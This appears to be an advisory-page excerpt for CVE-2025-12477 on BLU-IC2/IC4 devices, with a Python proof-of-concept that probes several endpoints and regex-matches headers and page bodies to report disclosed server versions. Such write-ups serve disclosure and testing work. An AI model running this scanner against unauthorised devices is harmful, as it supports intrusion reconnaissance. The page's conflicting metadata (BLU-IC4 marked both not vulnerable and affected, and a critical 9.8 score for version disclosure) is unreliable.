cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:* - NOT VULNERABLE
BLU-IC2 <= 1.19.5
BLU-IC4 <= 1.19.5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12477 Server Version Disclosure PoC
# Target: BLU-IC2 and BLU-IC4 devices
# CVSS: 9.8 (CRITICAL)
import requests
import sys
import re
def check_version_disclosure(target_url):
"""
Check if the target server discloses version information
"""
endpoints = ['/', '/admin', '/api', '/status', '/info', '/version', '/api/v1/info']
print(f"[*] Scanning target: {target_url}")
print(f"[*] CVE-2025-12477: Server Version Disclosure\n")
version_patterns = [
r'version[:\s]*([0-9]+\.[0-9]+\.[0-9]+)',
r'BLU-IC[24][:\s]*([0-9]+\.[0-9]+\.[0-9]+)',
r'server[:\s]*([0-9]+\.[0-9]+\.[0-9]+)',
r'Build[:\s]*([0-9]+)',
]
found_versions = []
for endpoint in endpoints:
try:
url = target_url.rstrip('/') + endpoint
response = requests.get(url, timeout=10, verify=False)
# Check HTTP headers
headers_to_check = ['Server', 'X-Powered-By', 'X-Version', 'X-Build']
for header in headers_to_check:
if header in response.headers:
version_info = f"Header [{header}]: {response.headers[header]}"
if version_info not in found_versions:
found_versions.append(version_info)
print(f"[+] {version_info}")
# Check response body
for pattern in version_patterns:
matches = re.findall(pattern, response.text, re.IGNORECASE)
for match in matches:
version_info = f"Body Version: {match}"
if version_info not in found_versions:
found_versions.append(version_info)
print(f"[+] {version_info}")
except requests.RequestException as e:
print(f"[-] Error accessing {endpoint}: {e}")
if found_versions:
print(f"\n[!] VULNERABLE: Server version information disclosed")
print(f"[!] Affected: BLU-IC2/IC4 <= 1.19.5")
print(f"[!] Recommendation: Upgrade to latest version")
return True
else:
print(f"\n[-] No version disclosure detected")
return False
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://192.168.1.100:8080")
sys.exit(1)
check_version_disclosure(sys.argv[1])